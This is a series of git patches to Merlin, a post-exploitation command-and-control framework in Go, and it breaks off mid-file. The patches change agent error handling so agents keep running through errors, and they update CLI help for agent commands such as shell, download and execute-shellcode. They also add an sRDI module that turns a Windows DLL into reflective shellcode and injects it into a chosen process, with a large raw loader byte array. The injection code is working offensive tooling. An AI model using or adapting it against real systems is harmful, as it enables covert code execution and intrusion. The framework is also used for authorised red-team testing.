break } if resp2.StatusCode != 200 { if a.Verbose { @@ -938,6 +943,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { if a.Verbose { if errEncode != nil { message("warn", fmt.Sprintf("There was an error encoding the JSON message\r\n%s", errEncode.Error())) + break } else { message("note", fmt.Sprintf("Sending response to server: %s", so)) } @@ -955,6 +961,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the CmdResults message to the server in the shellcode section") message("warn", errPost.Error()) } + break } if resp2.StatusCode != 200 { @@ -1011,6 +1018,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("There was an error encoding the JSON message for the"+ " ls command results:\r\n%s", err6.Error())) } + break } if a.Verbose { message("note", fmt.Sprintf("Sending response to server: %s", listing)) @@ -1080,6 +1088,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the CmdResults message to the server in the shellcode section") message("warn", errPost.Error()) } + break } if resp2.StatusCode != 200 { if a.Verbose { @@ -1134,6 +1143,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", "There was an error sending the CmdResults message to the server in the shellcode section") message("warn", errPost.Error()) } + break } if resp2.StatusCode != 200 { if a.Verbose { @@ -1323,6 +1333,7 @@ func (a *Agent) agentInfo(host string, client *http.Client) { if a.Verbose { message("warn", fmt.Sprintf("There was an error encoding the agentInfo JSON message:\r\n%s", err.Error())) } + return } if a.Verbose { message("note", fmt.Sprintf("Connecting to web server at %s to update agent configuration information.", host)) From aaae9a6623d512011a720de1e7f58204943152d7 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 17:52:00 -0500 Subject: [PATCH 087/112] Updated CONTRIBUTING --- docs/CONTRIBUTING.MD | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/docs/CONTRIBUTING.MD b/docs/CONTRIBUTING.MD index 6fa6d5d1..376dfb43 100644 --- a/docs/CONTRIBUTING.MD +++ b/docs/CONTRIBUTING.MD @@ -51,6 +51,10 @@ penetration test. As such, the agent should never display any messages to user on standard out or standard error *unless* verbose messages are enable. +# Agent Availability +Agent availability is one of the top priorities. Error handling should +NOT cause an agent to exit but instead it SHOULD fail open and continue +to operate. Display error messages only if VERBOSE messages are enabled. # Pull Requests * Pull requests (PR) should be submitted to the `dev` branch From cc233b4618ca4bcc59bae0357804fb91ef986d33 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 18:01:08 -0500 Subject: [PATCH 088/112] Modified output statements to be more explicit --- pkg/agent/agent.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 9198aacd..0a514ff0 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1047,7 +1047,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("cd command returned STDERR: %s", err.Error())) } } else { - stdout = fmt.Sprintf("Moved to %s", p.Args) + stdout = fmt.Sprintf("Changed working directory to %s", p.Args) } c := messages.CmdResults{ @@ -1107,7 +1107,7 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { c := messages.CmdResults{ Job: p.Job, - Stdout: dir, + Stdout: fmt.Sprintf("Current working directory: %s", dir), Stderr: se, } From e4393bf0cbaabe926fa020dd8103413e53ea20b2 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 18:17:29 -0500 Subject: [PATCH 089/112] Updated to resolve filepath to absolute --- pkg/agent/agent.go | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 0a514ff0..75ff9ff9 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1376,14 +1376,13 @@ func (a *Agent) list(path string) (string, error) { } else if a.Verbose { message("success", fmt.Sprintf("listing directory contents for: %s", path)) } - var errPath error - if path == "./" { - path, errPath = os.Getwd() - } + + // Resolve relative path to absolute + aPath, errPath := filepath.Abs(path) if errPath != nil { return "", nil } - files, err := ioutil.ReadDir(path) + files, err := ioutil.ReadDir(aPath) if err != nil { return "", err From 5fdd2d8066eddeab379fb45da4e6b321a371128d Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 19:50:26 -0500 Subject: [PATCH 090/112] Updated help and made results for CD more explicit --- pkg/agent/agent.go | 11 ++++++++--- pkg/cli/cli.go | 6 +++--- 2 files changed, 11 insertions(+), 6 deletions(-) diff --git a/pkg/agent/agent.go b/pkg/agent/agent.go index 75ff9ff9..1c76c217 100644 --- a/pkg/agent/agent.go +++ b/pkg/agent/agent.go @@ -1047,7 +1047,12 @@ func (a *Agent) statusCheckIn(host string, client *http.Client) { message("warn", fmt.Sprintf("cd command returned STDERR: %s", err.Error())) } } else { - stdout = fmt.Sprintf("Changed working directory to %s", p.Args) + path, pathErr := os.Getwd() + if pathErr != nil { + se = pathErr.Error() + } else { + stdout = fmt.Sprintf("Changed working directory to %s", path) + } } c := messages.CmdResults{ @@ -1380,7 +1385,7 @@ func (a *Agent) list(path string) (string, error) { // Resolve relative path to absolute aPath, errPath := filepath.Abs(path) if errPath != nil { - return "", nil + return "", errPath } files, err := ioutil.ReadDir(aPath) @@ -1388,7 +1393,7 @@ func (a *Agent) list(path string) (string, error) { return "", err } - details := fmt.Sprintf("Directory listing for: %s\r\n\r\n", path) + details := fmt.Sprintf("Directory listing for: %s\r\n\r\n", aPath) for _, f := range files { perms := f.Mode().String() diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index c572c578..25b50068 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -829,9 +829,9 @@ func menuHelpAgent() { {"execute-shellcode", "Execute shellcode", "self, remote"}, {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, - {"ls", "List directory contents", "ls /etc"}, - {"cd", "Change directories", "cd c:\\\\users"}, - {"pwd", "Display the current working directory", ""}, + {"ls", "List directory contents", "ls /etc OR ls C:\\\\Users"}, + {"cd", "Change directories", "cd ../../ OR cd c:\\\\Users"}, + {"pwd", "Display the current working directory", "pwd"}, {"main", "Return to the main menu", ""}, {"set", "Set the value for one of the agent's options", "killdate, maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, From 71a53fb4306f997251f712b65a58e68fa267644f Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Tue, 26 Feb 2019 20:00:34 -0500 Subject: [PATCH 091/112] Updated help so commands are in alphabetical order --- pkg/cli/cli.go | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 25b50068..10e432d5 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -823,6 +823,7 @@ func menuHelpAgent() { table.SetHeader([]string{"Command", "Description", "Options"}) data := [][]string{ + {"cd", "Change directories", "cd ../../ OR cd c:\\\\Users"}, {"cmd", "Execute a command on the agent (DEPRECIATED)", "cmd ping -c 3 8.8.8.8"}, {"back", "Return to the main menu", ""}, {"download", "Download a file from the agent", "download "}, @@ -830,9 +831,8 @@ func menuHelpAgent() { {"info", "Display all information about the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, {"ls", "List directory contents", "ls /etc OR ls C:\\\\Users"}, - {"cd", "Change directories", "cd ../../ OR cd c:\\\\Users"}, - {"pwd", "Display the current working directory", "pwd"}, {"main", "Return to the main menu", ""}, + {"pwd", "Display the current working directory", "pwd"}, {"set", "Set the value for one of the agent's options", "killdate, maxretry, padding, skew, sleep"}, {"shell", "Execute a command on the agent", "shell ping -c 3 8.8.8.8"}, {"status", "Print the current status of the agent", ""}, From 0bf32a3638a9c863cc8b46689b0a97e79d1ba596 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Wed, 27 Feb 2019 16:58:54 -0500 Subject: [PATCH 092/112] Minor modifications to comments --- Dockerfile | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/Dockerfile b/Dockerfile index 2bd5b8c1..8e42c179 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,12 +1,14 @@ FROM golang:stretch MAINTAINER @audibleblink -# To just generate binaries, run the following and check your `src` folder for the output: +# Build the Docker image first # > sudo docker build -t merlin . + +# To just generate Merlin binaries, run the following and check your `src` folder for the output # > sudo docker run --rm --mount type=bind,src=/tmp,dst=/go/src/github.com/Ne0nd0g/merlin/data/temp merlin make linux -# > ls /tmp/v0.6.4.BETA +# > ls /tmp/v0.6.4.BETA -# To run the server, run +# To start the Merlin Server, run # > sudo docker run -it -p 443:443 merlin From 298a52bf6f556d58175ba76f31e21703bea53a1f Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Fri, 1 Mar 2019 22:03:32 -0500 Subject: [PATCH 093/112] Added sRDI module. Added GetAgentFieldValue and isAgent functions to agents.go. Updated cli.go to process module run command based on module type (i.e. standard or extended) instead of language. Updated Module struct to include a Type. Added a check to make sure the Module's platform and Agent's platform match. Added a getExtendedCommand function and handling to modules.go. Added getMapFromOptions to modules.go to convert an Options struct to a map. --- data/modules/windows/x64/go/exec/sRDI.json | 26 ++++++++++++ pkg/agents/agents.go | 36 ++++++++++++----- pkg/cli/cli.go | 12 ++++-- pkg/modules/modules.go | 47 +++++++++++++++++++++- 4 files changed, 108 insertions(+), 13 deletions(-) create mode 100644 data/modules/windows/x64/go/exec/sRDI.json diff --git a/data/modules/windows/x64/go/exec/sRDI.json b/data/modules/windows/x64/go/exec/sRDI.json new file mode 100644 index 00000000..b262f33f --- /dev/null +++ b/data/modules/windows/x64/go/exec/sRDI.json @@ -0,0 +1,26 @@ +{ + "base": { + "name": "sRDI", + "type": "extended", + "author": ["Russel Van Tuyl (@Ne0nd0g)"], + "credits": ["Matthew Graeber (@mattifestation)","Leo Loobeek", "Nick Landers (@monoxgas)", "Dan Staples", "Stephen Fewer"], + "path": ["windows", "x64", "go", "exec", "sRDI.json"], + "platform": "WINDOWS", + "arch": "x64", + "lang": "Go", + "privilege": false, + "remote": "", + "local": [""], + "options": [ + {"name": "dll", "value": "", "required": true, "flag": "", "description":"File path to the DLL to be conver to reflective shellcode"}, + {"name": "clearHeader", "value": "false", "required": false, "flag": "", "description":"Set to true to clear the PE header from the resulting library that will be loaded into memory"}, + {"name": "function", "value": "", "required": false, "flag":"", "description": "The name of the function to call after DllMain"}, + {"name": "args", "value": "", "required": false, "flag": "", "description": "Arguments to be passed to the called DLL function"}, + {"name": "pid", "value": "", "required": false, "flag": "", "description": "The Windows Process ID to inject the shellcode into"}, + {"name": "method", "value": "self", "required": true, "flag": "", "description": "The method to execute the shellcode: self, remote, or RtlCreateUserThread"} + ], + "description": "This module will convert the provided Windows DLL to position independent shellcode that will be reflectively loaded and executed in the target process", + "notes": "Based on the sRDI project at: https://github.com/monoxgas/sRDI", + "commands": ["{{dll.Value}}", "{{clearHeader.Value}}", "{{function.Value}}", "{{args.Value}}", "{{pid.Value}}", "{{method.Value}}"] + } +} \ No newline at end of file diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index e40cbe69..8a2e4342 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -639,15 +639,7 @@ func GetAgentStatus(agentID uuid.UUID) string { // RemoveAgent deletes the agent object from Agents map by its ID func RemoveAgent(agentID uuid.UUID) error { - // Range over to make sure it exists, return error - isAgent := false - // Verify the passed in agent is known - for k := range Agents { - if Agents[k].ID == agentID { - isAgent = true - } - } - if isAgent { + if isAgent(agentID) { delete(Agents, agentID) return nil } @@ -655,6 +647,32 @@ func RemoveAgent(agentID uuid.UUID) error { } +// GetAgentFieldValue returns a string value for the field value belonging to the specefied Agent +func GetAgentFieldValue(agentID uuid.UUID, field string) (string, error) { + if isAgent(agentID) { + switch strings.ToLower(field) { + case "platform": + return Agents[agentID].Platform, nil + case "architecture": + return Agents[agentID].Architecture, nil + case "username": + return Agents[agentID].UserName, nil + } + return "", fmt.Errorf("the provided agent field could not be found: %s", field) + } + return "", fmt.Errorf("%s is not a valid agent", agentID.String()) +} + +// isAgent enumerates a map of all instantiated agents and returns true if the provided agent UUID exists +func isAgent(agentID uuid.UUID) bool { + for agent := range Agents { + if Agents[agent].ID == agentID { + return true + } + } + return false +} + // Job is a structure for holding data for single task assigned to a single agent type Job struct { ID string diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 10e432d5..81f78cea 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -187,11 +187,17 @@ func Shell() { message("warn", err.Error()) break } - if shellModule.Lang == "Go" { - m, err = agents.AddJob(shellModule.Agent, r[0], r[1:]) - } else { + if len(r) <= 0 { + message("warn", fmt.Sprintf("The %s module did not return a command to task an"+ + " agent with", shellModule.Name)) + break + } + if strings.ToLower(shellModule.Type) == "standard" { m, err = agents.AddJob(shellModule.Agent, "cmd", r) + } else { + m, err = agents.AddJob(shellModule.Agent, r[0], r[1:]) } + if err != nil { message("warn", "There was an error adding the job to the specified agent") message("warn", err.Error()) diff --git a/pkg/modules/modules.go b/pkg/modules/modules.go index 22ba849c..02b6b9fc 100644 --- a/pkg/modules/modules.go +++ b/pkg/modules/modules.go @@ -32,16 +32,19 @@ import ( // 3rd Party "github.com/fatih/color" "github.com/olekukonko/tablewriter" - uuid "github.com/satori/go.uuid" + "github.com/satori/go.uuid" // Merlin + "github.com/Ne0nd0g/merlin/pkg/agents" "github.com/Ne0nd0g/merlin/pkg/core" + "github.com/Ne0nd0g/merlin/pkg/modules/srdi" ) // Module is a structure containing the base information or template for modules type Module struct { Agent uuid.UUID // The Agent that will later be associated with this module prior to execution Name string `json:"name"` // Name of the module + Type string `json:"type"` // Type of module (i.e. standard or extended) Author []string `json:"author"` // A list of module authors Credits []string `json:"credits"` // A list of people to credit for underlying tool or techniques Path []string `json:"path"` // Path to the module (i.e. data/modules/powershell/powerview) @@ -80,6 +83,15 @@ func (m *Module) Run() ([]string, error) { return nil, errors.New("agent not set for module") } + platform, platformError := agents.GetAgentFieldValue(m.Agent, "platform") + if platformError != nil { + return nil, platformError + } + + if strings.ToLower(m.Platform) != strings.ToLower(platform) { + return nil, fmt.Errorf("the %s module is only compatible with %s platform. The agent's platform is %s", m.Name, m.Platform, platform) + } + // Check every 'required' option to make sure it isn't null for _, v := range m.Options { if v.Required { @@ -89,6 +101,14 @@ func (m *Module) Run() ([]string, error) { } } + if strings.ToLower(m.Type) == "extended" { + extendedCommand, err := getExtendedCommand(m) + if err != nil { + return nil, err + } + return extendedCommand, nil + } + // Fill in or remove options values command := make([]string, len(m.Commands)) copy(command, m.Commands) @@ -317,6 +337,31 @@ func marshalMessage(m interface{}) []byte { return k } +// getExtendedCommand processes "extended" modules and returns the associated command by matching the extended module's +// name to a the Parse function of its associated module package +func getExtendedCommand(m *Module) ([]string, error) { + // TODO document that every extended module must have a parse function as its entry point + var extendedCommand []string + var err error + switch strings.ToLower(m.Name) { + case "srdi": + extendedCommand, err = srdi.Parse(m.getMapFromOptions()) + default: + return nil, fmt.Errorf("the %s module's extended command function was not found", m.Name) + } + return extendedCommand, err +} + +// getMapFromOptions is used to generate a map containing module option names and values to be used with other functions +func (m *Module) getMapFromOptions() map[string]string { + optionsMap := make(map[string]string) + + for _, v := range m.Options { + optionsMap[v.Name] = v.Value + } + return optionsMap +} + //MinidumpFile holds the structure of of a Minidump operation to report back to merlin type MinidumpFile struct { ProcName string From 45f06608f30c332a826a300deacfb82adbf8b0b5 Mon Sep 17 00:00:00 2001 From: Ne0nd0g Date: Fri, 1 Mar 2019 22:23:45 -0500 Subject: [PATCH 094/112] Added shellcode and srdi packages to modules --- pkg/modules/shellcode/shellcode.go | 103 +++ pkg/modules/srdi/srdi.go | 1054 ++++++++++++++++++++++++++++ 2 files changed, 1157 insertions(+) create mode 100644 pkg/modules/shellcode/shellcode.go create mode 100644 pkg/modules/srdi/srdi.go diff --git a/pkg/modules/shellcode/shellcode.go b/pkg/modules/shellcode/shellcode.go new file mode 100644 index 00000000..05d02019 --- /dev/null +++ b/pkg/modules/shellcode/shellcode.go @@ -0,0 +1,103 @@ +/* +Merlin is a post-exploitation command and control framework. +This file is part of Merlin. +Copyright (C) 2019 Russel Van Tuyl + +Merlin is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +Merlin is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Merlin. If not, see . +*/ + +package shellcode + +import ( + // Standard + "encoding/base64" + "encoding/hex" + "errors" + "io/ioutil" + "strings" +) + +// GetJob returns a string array containing the commands, in the proper order, to be used with agents.AddJob +func GetJob(method string, shellcode string, pid string) ([]string, error) { + // TODO shellcode input needs to be Base64 encoded + switch strings.ToLower(method) { + case "self": + return []string{"shellcode", "self", shellcode}, nil + case "remote": + return []string{"shellcode", "remote", pid, shellcode}, nil + case "rtlcreateuserthread": + return []string{"shellcode", "rtlcreateuserthread", pid, shellcode}, nil + case "userapc": + return []string{"shellcode", "userapc", pid, shellcode}, nil + } + return nil, errors.New("a valid shellcode method was not provided") +} + +// parseHex evaluates a string array to determine its format and returns a byte array of the hex +func parseHex(str []string) ([]byte, error) { + + hexString := strings.Join(str, "") + + data, err := base64.StdEncoding.DecodeString(hexString) + if err != nil { + return nil, err + } + + s := string(data) + hexString = s + + // see if string is prefixed with 0x + if hexString[0:2] == "0x" { + hexString = strings.Replace(hexString, "0x", "", -1) + if strings.Contains(hexString, ",") { + hexString = strings.Replace(hexString, ",", "", -1) + } + if strings.Contains(hexString, " ") { + hexString = strings.Replace(hexString, " ", "", -1) + } + } + + // see if string is prefixed with \x + if hexString[0:2] == "\\x" { + hexString = strings.Replace(hexString, "\\x", "", -1) + if strings.Contains(hexString, ",") { + hexString = strings.Replace(hexString, ",", "", -1) + } + if strings.Contains(hexString, " ") { + hexString = strings.Replace(hexString, " ", "", -1) + } + } + + h, errH := hex.DecodeString(hexString) + + return h, errH + +} + +// parseShellcodeFile parses a path, evaluates the file's contents, and returns a byte array of shellcode +func parseShellcodeFile(filePath string) ([]byte, error) { + + b, errB := ioutil.ReadFile(filePath) // #nosec G304 Users can include any file from anywhere + if errB != nil { + return nil, errB + } + + h, errH := parseHex([]string{string(b)}) + if errH != nil { + return h, nil + } + + return b, nil + +} diff --git a/pkg/modules/srdi/srdi.go b/pkg/modules/srdi/srdi.go new file mode 100644 index 00000000..58955376 --- /dev/null +++ b/pkg/modules/srdi/srdi.go @@ -0,0 +1,1054 @@ +/* +Merlin is a post-exploitation command and control framework. +This file is part of Merlin. +Copyright (C) 2019 Russel Van Tuyl + +Merlin is free software: you can redistribute it and/or modify +it under the terms of the GNU General Public License as published by +the Free Software Foundation, either version 3 of the License, or +any later version. + +Merlin is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with Merlin. If not, see . +*/ + +// Additional licenses for external programs and code libraries are at the end of the file +// Moved to the end of the file because it was generating IDE errors with that many lines of comment + +package srdi + +import ( + // Standard + "encoding/base64" + "encoding/binary" + "fmt" + "io/ioutil" + "math" + "os" + "strconv" + "strings" + + // Merlin + "github.com/Ne0nd0g/merlin/pkg/modules/shellcode" +) + +// Parse is the initial entry point for all extended modules. All validation checks and processing will be performed here +// The function input types are limited to strings and therefore require additional processing +func Parse(options map[string]string) ([]string, error) { + // 1. Check to make sure all of the arguments are there + // 2. Check each argument + // "commands": [{{dll.Value}}", "{{clearHeader.Value}}", "{{function.Value}}", "{{args.Value}}", "{{pid.Value}}", "{{method.Value}}"] + + if len(options) != 6 { + return nil, fmt.Errorf("6 arguments were expected, %d were provided", len(options)) + } + + // Check to make sure DLL file exists at provided path + _, err := os.Stat(options["dll"]) + if os.IsNotExist(err) { + return nil, fmt.Errorf("the provided directory does not exist: %s", options["dll"]) + } + // Convert clearHeader to bool + clearHeader, errClear := strconv.ParseBool(options["clearHeader"]) + if errClear != nil { + return nil, fmt.Errorf("there was an error parsing %s to boolean:\r\n%s", options["clearHeader"], errClear.Error()) + } + + // Convert PID to integer + if options["pid"] != "" { + _, errPid := strconv.Atoi(options["pid"]) + if errPid != nil { + return nil, fmt.Errorf("there was an error converting the PID to an integer:\r\n%s", errPid.Error()) + } + } + + if strings.ToLower(options["method"]) != "self" && options["pid"] == "" { + return nil, fmt.Errorf("a valid PID must be provided for any method except self") + } + + // Verify Method is a valid type + var method string + switch strings.ToLower(options["method"]) { + case "self": + method = "self" + case "remote": + method = "remote" + case "rtlcreateuserthread": + method = "RtlCreateUserThread" + case "userapc": + method = "UserAPC" + default: + return nil, fmt.Errorf("invlaid shellcode execution method: %s", method) + + } + // TODO add types as constant or list in shellcode.go + + sc, errShellcode := dllToReflectiveShellcode(options["dll"], options["function"], clearHeader, options["args"]) + if errShellcode != nil { + return nil, errShellcode + } + b64 := base64.StdEncoding.EncodeToString(sc) + command, errCommand := shellcode.GetJob(method, b64, options["pid"]) + if errCommand != nil { + return nil, fmt.Errorf("there was an error getting the shellcode job:\r\n%s", errCommand.Error()) + } + + return command, nil +} + +// dllToReflectiveShellcode will convert an existing Windows DLL to position independent shellcode that contains a reflective loader to load and execute the shellcode in-memory. +// The function code is adapted from the work by Leo Loobeek at: +// https://gist.githubusercontent.com/leoloobeek/c726719d25d7e7953d4121bd93dd2ed3/raw/05f20bae7aa6cd21e20a52034b9547a19e211c5e/ShellcodeRDI.go +// The work by Leo Loobeek is based on the sRDI project by Nick Landers (@monoxgas) at https://github.com/monoxgas/sRDI/ +// The work done by Nick Landers is based on the work by Dan Staples which is based on the work by Stephen Fewer +// The work done by Nick Landers regarding Position Indipendent Code (PIC) is based on the work by Matthew Graeber +// The work done by Matthew Graeber is based on the work by Alan Turing +// Lastly, invoking the name of the Lee Christensen is used for good luck and pwnage +// dllPath is a the file path, as a string, of the source DLL to convert to reflective shellcode +// functionName is the name of the function to call after DllMain (optional) +// clearHeader will remove the PE header if set to true (optional) +// userDataStr is used to define any arguments that should be called with the injected DLL (optional) +func dllToReflectiveShellcode(dllPath string, functionName string, clearHeader bool, userDataStr string) ([]byte, error) { + + // TODO make sure file exists + dllBytes, err := ioutil.ReadFile(dllPath) + if err != nil { + return nil, err + } + + var functionHash []byte + + if functionName != "" { + hashFunctionUint32 := hashFunctionName(functionName) + functionHash = pack(hashFunctionUint32) + } else { + functionHash = pack(uint32(0x10)) + } + + flags := 0 + + if clearHeader { + flags |= 0x1 + } + + var userData []byte + if userDataStr != "" { + userData = []byte(userDataStr) + } else { + userData = []byte("None") + } + + rdiShellcode32 := []byte{0x83, 0xEC, 0x48, 0x83, 0x64, 0x24, 0x18, 0x00, 0xB9, 0x4C, 0x77, 0x26, 0x07, 0x53, 0x55, 0x56, 0x57, 0x33, 0xF6, 0xE8, 0x22, 0x04, 0x00, 0x00, 0xB9, 0x49, 0xF7, 0x02, 0x78, 0x89, 0x44, 0x24, 0x1C, 0xE8, 0x14, 0x04, 0x00, 0x00, 0xB9, 0x58, 0xA4, 0x53, 0xE5, 0x89, 0x44, 0x24, 0x20, 0xE8, 0x06, 0x04, 0x00, 0x00, 0xB9, 0x10, 0xE1, 0x8A, 0xC3, 0x8B, 0xE8, 0xE8, 0xFA, 0x03, 0x00, 0x00, 0xB9, 0xAF, 0xB1, 0x5C, 0x94, 0x89, 0x44, 0x24, 0x2C, 0xE8, 0xEC, 0x03, 0x00, 0x00, 0xB9, 0x33, 0x00, 0x9E, 0x95, 0x89, 0x44, 0x24, 0x30, 0xE8, 0xDE, 0x03, 0x00, 0x00, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x8B, 0x78, 0x3C, 0x03, 0xF8, 0x89, 0x7C, 0x24, 0x10, 0x81, 0x3F, 0x50, 0x45, 0x00, 0x00, 0x74, 0x07, 0x33, 0xC0, 0xE9, 0xB8, 0x03, 0x00, 0x00, 0xB8, 0x4C, 0x01, 0x00, 0x00, 0x66, 0x39, 0x47, 0x04, 0x75, 0xEE, 0xF6, 0x47, 0x38, 0x01, 0x75, 0xE8, 0x0F, 0xB7, 0x57, 0x06, 0x0F, 0xB7, 0x47, 0x14, 0x85, 0xD2, 0x74, 0x22, 0x8D, 0x4F, 0x24, 0x03, 0xC8, 0x83, 0x79, 0x04, 0x00, 0x8B, 0x01, 0x75, 0x05, 0x03, 0x47, 0x38, 0xEB, 0x03, 0x03, 0x41, 0x04, 0x3B, 0xC6, 0x0F, 0x47, 0xF0, 0x83, 0xC1, 0x28, 0x83, 0xEA, 0x01, 0x75, 0xE3, 0x8D, 0x44, 0x24, 0x34, 0x50, 0xFF, 0xD3, 0x8B, 0x44, 0x24, 0x38, 0x8B, 0x5F, 0x50, 0x8D, 0x50, 0xFF, 0x8D, 0x48, 0xFF, 0xF7, 0xD2, 0x48, 0x03, 0xCE, 0x03, 0xC3, 0x23, 0xCA, 0x23, 0xC2, 0x3B, 0xC1, 0x75, 0x97, 0x6A, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x53, 0x6A, 0x00, 0xFF, 0xD5, 0x8B, 0x77, 0x54, 0x8B, 0xD8, 0x8B, 0x44, 0x24, 0x5C, 0x33, 0xC9, 0x89, 0x44, 0x24, 0x14, 0x8B, 0xD3, 0x33, 0xC0, 0x89, 0x5C, 0x24, 0x18, 0x40, 0x89, 0x44, 0x24, 0x24, 0x85, 0xF6, 0x74, 0x37, 0x8B, 0x6C, 0x24, 0x6C, 0x8B, 0x5C, 0x24, 0x14, 0x23, 0xE8, 0x4E, 0x85, 0xED, 0x74, 0x19, 0x8B, 0xC7, 0x2B, 0x44, 0x24, 0x5C, 0x3B, 0xC8, 0x73, 0x0F, 0x83, 0xF9, 0x3C, 0x72, 0x05, 0x83, 0xF9, 0x3E, 0x76, 0x05, 0xC6, 0x02, 0x00, 0xEB, 0x04, 0x8A, 0x03, 0x88, 0x02, 0x41, 0x43, 0x42, 0x85, 0xF6, 0x75, 0xD7, 0x8B, 0x5C, 0x24, 0x18, 0x0F, 0xB7, 0x47, 0x06, 0x0F, 0xB7, 0x4F, 0x14, 0x85, 0xC0, 0x74, 0x38, 0x83, 0xC7, 0x2C, 0x03, 0xCF, 0x8B, 0x7C, 0x24, 0x5C, 0x8B, 0x51, 0xF8, 0x48, 0x8B, 0x31, 0x03, 0xD3, 0x8B, 0x69, 0xFC, 0x03, 0xF7, 0x89, 0x44, 0x24, 0x5C, 0x85, 0xED, 0x74, 0x0F, 0x8A, 0x06, 0x88, 0x02, 0x42, 0x46, 0x83, 0xED, 0x01, 0x75, 0xF5, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC1, 0x28, 0x85, 0xC0, 0x75, 0xD5, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xB7, 0x80, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x89, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x0C, 0x85, 0xC0, 0x74, 0x7D, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x20, 0x8B, 0x6E, 0x10, 0x8B, 0xF8, 0x8B, 0x06, 0x03, 0xEB, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x74, 0x4F, 0x8B, 0x74, 0x24, 0x20, 0x8B, 0x08, 0x85, 0xC9, 0x74, 0x1E, 0x79, 0x1C, 0x8B, 0x47, 0x3C, 0x0F, 0xB7, 0xC9, 0x8B, 0x44, 0x38, 0x78, 0x2B, 0x4C, 0x38, 0x10, 0x8B, 0x44, 0x38, 0x1C, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x38, 0x03, 0xC7, 0xEB, 0x0C, 0x8B, 0x45, 0x00, 0x83, 0xC0, 0x02, 0x03, 0xC3, 0x50, 0x57, 0xFF, 0xD6, 0x89, 0x45, 0x00, 0x83, 0xC5, 0x04, 0x8B, 0x44, 0x24, 0x5C, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, 0x5C, 0x83, 0x7D, 0x00, 0x00, 0x75, 0xB9, 0x8B, 0x74, 0x24, 0x14, 0x8B, 0x46, 0x20, 0x83, 0xC6, 0x14, 0x89, 0x74, 0x24, 0x14, 0x85, 0xC0, 0x75, 0x87, 0x8B, 0x7C, 0x24, 0x10, 0x8B, 0xEB, 0x2B, 0x6F, 0x34, 0x83, 0xBF, 0xA4, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xAA, 0x00, 0x00, 0x00, 0x8B, 0x97, 0xA0, 0x00, 0x00, 0x00, 0x03, 0xD3, 0x89, 0x54, 0x24, 0x5C, 0x8D, 0x4A, 0x04, 0x8B, 0x01, 0x89, 0x4C, 0x24, 0x14, 0x85, 0xC0, 0x0F, 0x84, 0x8D, 0x00, 0x00, 0x00, 0x8B, 0x32, 0x8D, 0x78, 0xF8, 0x03, 0xF3, 0x8D, 0x42, 0x08, 0xD1, 0xEF, 0x89, 0x44, 0x24, 0x20, 0x74, 0x60, 0x6A, 0x02, 0x8B, 0xD8, 0x5A, 0x0F, 0xB7, 0x0B, 0x4F, 0x66, 0x8B, 0xC1, 0x66, 0xC1, 0xE8, 0x0C, 0x66, 0x83, 0xF8, 0x0A, 0x74, 0x06, 0x66, 0x83, 0xF8, 0x03, 0x75, 0x0B, 0x81, 0xE1, 0xFF, 0x0F, 0x00, 0x00, 0x01, 